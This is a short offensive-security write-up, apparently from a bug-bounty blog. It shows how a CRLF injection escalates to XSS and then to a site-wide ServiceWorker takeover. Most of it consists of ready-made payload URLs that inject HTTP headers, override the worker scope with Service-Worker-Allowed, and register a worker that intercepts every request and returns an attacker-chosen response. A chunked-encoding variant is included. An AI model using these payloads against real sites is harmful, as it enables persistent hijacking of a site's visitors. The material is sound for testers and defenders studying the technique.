f you've found a CRLF Injection vulnerability that allows overwriting the HTTP response and executing XSS, you can increase its impact using ServiceWorker.
First you need some requirements for Registering a ServiceWorker
- The ability to execute JavaScript in the site’s context.
- A JavaScript file served with the correct Content-Type.
With CRLF Injection, both conditions can be easily met:
Step 1: XSS Execution
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>
Step 2: Crafting a JavaScript File
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file
By default, a ServiceWorker is limited to controlling requests within its own folder (in this case, /some/path/foo/bar/), which isn't very useful.
However, the Service-Worker-Allowed HTTP header allows us to override the scope, enabling the ServiceWorker to control the entire site.
Step 3: Creating a ServiceWorker with Global Scope
This script intercepts all HTTP requests and returns "Fake response".
https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})
Step 4: Registering the ServiceWorker via XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E
Alternative: Using Transfer-Encoding: chunked
If setting Content-Length doesn't work, you can control the response size using chunked encoding:
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A
So By leveraging ServiceWorker, a simple CRLF Injection can escalate into a complete site takeover.